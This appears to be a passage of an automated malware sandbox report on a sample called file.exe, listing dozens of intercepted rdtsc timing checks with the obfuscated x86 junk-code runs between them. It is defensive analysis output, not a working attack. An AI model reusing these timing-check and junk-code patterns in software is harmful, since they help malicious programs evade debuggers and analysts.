Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F73E72 second address: F73E78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F744DE second address: F74507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jl 00007F1F50F77976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1F50F77985h 0x00000013 jnp 00007F1F50F77976h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F773E0 second address: F773FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F50CBBC3Dh 0x00000008 jns 00007F1F50CBBC36h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push ebx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F774DB second address: F774EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50F7797Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F774EE second address: F77537 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F50CBBC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub ecx, dword ptr [ebp+122D27B5h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F1F50CBBC38h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov edx, 5E3CD361h 0x00000036 push FCEF953Ch 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F77537 second address: F7759E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 add dword ptr [esp], 03106B44h 0x0000000e mov dword ptr [ebp+122D19A7h], edi 0x00000014 push 00000003h 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D18F5h], ebx 0x0000001e push 00000003h 0x00000020 movzx edi, si 0x00000023 push A269BCA5h 0x00000028 jmp 00007F1F50F77986h 0x0000002d xor dword ptr [esp], 6269BCA5h 0x00000034 mov edx, dword ptr [ebp+122D3592h] 0x0000003a lea ebx, dword ptr [ebp+1246C327h] 0x00000040 sub esi, 133A1307h 0x00000046 xchg eax, ebx 0x00000047 pushad 0x00000048 pushad 0x00000049 pushad 0x0000004a popad 0x0000004b push esi 0x0000004c pop esi 0x0000004d popad 0x0000004e push eax 0x0000004f push edx 0x00000050 jc 00007F1F50F77976h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7759E second address: F775BE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1F50CBBC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1F50CBBC42h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7767C second address: F776E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77980h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F1F50F77980h 0x0000000f popad 0x00000010 xor dword ptr [esp], 64A30400h 0x00000017 je 00007F1F50F77982h 0x0000001d jmp 00007F1F50F7797Ch 0x00000022 push 00000003h 0x00000024 xor dx, 8A94h 0x00000029 xor ecx, 3B861720h 0x0000002f push 00000000h 0x00000031 mov esi, dword ptr [ebp+122D3406h] 0x00000037 push 00000003h 0x00000039 or ecx, 0CBBA4D0h 0x0000003f call 00007F1F50F77979h 0x00000044 push eax 0x00000045 push edx 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F776E5 second address: F776EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F776EA second address: F776EF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F776EF second address: F77737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jg 00007F1F50CBBC3Ah 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F1F50CBBC45h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1F50CBBC49h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F77737 second address: F7774D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1F50F77978h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7774D second address: F77757 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F50CBBC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F77757 second address: F7775D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7775D second address: F77790 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+122D3552h] 0x0000000f lea ebx, dword ptr [ebp+1246C330h] 0x00000015 add dword ptr [ebp+122D3021h], esi 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f jmp 00007F1F50CBBC43h 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7783D second address: F77841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7796D second address: F77972 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F96407 second address: F96411 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1F50F7797Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F965B1 second address: F965B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F968C4 second address: F968C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F968C8 second address: F968CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F968CE second address: F968D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F968D7 second address: F96909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50CBBC44h 0x00000009 pop edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F1F50CBBC4Ah 0x00000013 jmp 00007F1F50CBBC3Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F96909 second address: F9690D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F96A8E second address: F96A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F1F50CBBC36h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F96CE3 second address: F96CED instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F50F7797Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97291 second address: F972B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F972B0 second address: F972DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F1F50F77976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F1F50F77986h 0x00000014 pushad 0x00000015 popad 0x00000016 js 00007F1F50F77976h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F972DF second address: F972E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F972E8 second address: F972F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1F50F77976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F972F2 second address: F9730A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC44h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97487 second address: F97490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97490 second address: F97494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97494 second address: F9749C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F975E4 second address: F97615 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F1F50CBBC40h 0x0000000f ja 00007F1F50CBBC3Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F8C7B0 second address: F8C7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F8C7B4 second address: F8C7D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F8C7D1 second address: F8C7D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97D5C second address: F97D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97D60 second address: F97D6A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1F50F77976h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97D6A second address: F97D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97ED8 second address: F97EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1F50F77976h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F97EE4 second address: F97EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F9806F second address: F98075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F98075 second address: F98079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F98079 second address: F98082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F98082 second address: F98088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F98088 second address: F98098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1F50F77976h 0x0000000a popad 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F98098 second address: F980B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1F50CBBC36h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1F50CBBC3Fh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F9B971 second address: F9B977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F9E079 second address: F9E080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA3773 second address: FA3791 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1F50F7797Ah 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F1F50F7797Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA3BCE second address: FA3BD4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA3BD4 second address: FA3BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA3BDD second address: FA3BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA3BE3 second address: FA3C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1F50F77976h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1F50F77983h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA3D80 second address: FA3DBB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1F50CBBC38h 0x00000008 jng 00007F1F50CBBC3Ch 0x0000000e js 00007F1F50CBBC36h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jmp 00007F1F50CBBC3Ch 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f jp 00007F1F50CBBC36h 0x00000025 jbe 00007F1F50CBBC36h 0x0000002b push esi 0x0000002c pop esi 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA6BD6 second address: FA6BF0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F1F50F77980h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA6BF0 second address: FA6BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA8C90 second address: FA8C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA8C96 second address: FA8CDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 56E3A996h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F1F50CBBC38h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D2D4Ah], ebx 0x00000031 call 00007F1F50CBBC39h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA8CDE second address: FA8CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA9151 second address: FA9156 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA9910 second address: FA991A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1F50F77976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FAA400 second address: FAA468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F1F50CBBC38h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 mov esi, dword ptr [ebp+122D3512h] 0x00000027 or dword ptr [ebp+122D1B26h], eax 0x0000002d push 00000000h 0x0000002f mov esi, dword ptr [ebp+122D3726h] 0x00000035 push 00000000h 0x00000037 xor dword ptr [ebp+122D28B8h], esi 0x0000003d xchg eax, ebx 0x0000003e jc 00007F1F50CBBC40h 0x00000044 pushad 0x00000045 push edx 0x00000046 pop edx 0x00000047 jg 00007F1F50CBBC36h 0x0000004d popad 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F1F50CBBC3Dh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FAD660 second address: FAD664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FAD664 second address: FAD66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FADF34 second address: FADF3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FAFBE1 second address: FAFBE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FADF3A second address: FADF40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FAFBE5 second address: FAFBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FADF40 second address: FADF44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FAFBEB second address: FAFBFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jl 00007F1F50CBBC36h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB0271 second address: FB0275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB0D33 second address: FB0D39 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB0A70 second address: FB0A8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F7797Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F1F50F77978h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB0D39 second address: FB0D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1F50CBBC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB0DDF second address: FB0DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB0DE5 second address: FB0DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB2367 second address: FB238D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77987h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F1F50F77976h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB15F3 second address: FB1609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 push eax 0x00000007 jmp 00007F1F50CBBC3Bh 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB238D second address: FB2391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB2391 second address: FB239A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB3FC1 second address: FB3FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB41BF second address: FB41C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB41C8 second address: FB41CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB5245 second address: FB5249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB5249 second address: FB5257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB6FBA second address: FB6FD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB6FD7 second address: FB7030 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F50F7797Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d je 00007F1F50F77976h 0x00000013 push 00000000h 0x00000015 sub dword ptr [ebp+122D194Ah], edx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F1F50F77978h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F1F50F77983h 0x0000003f rdtsc
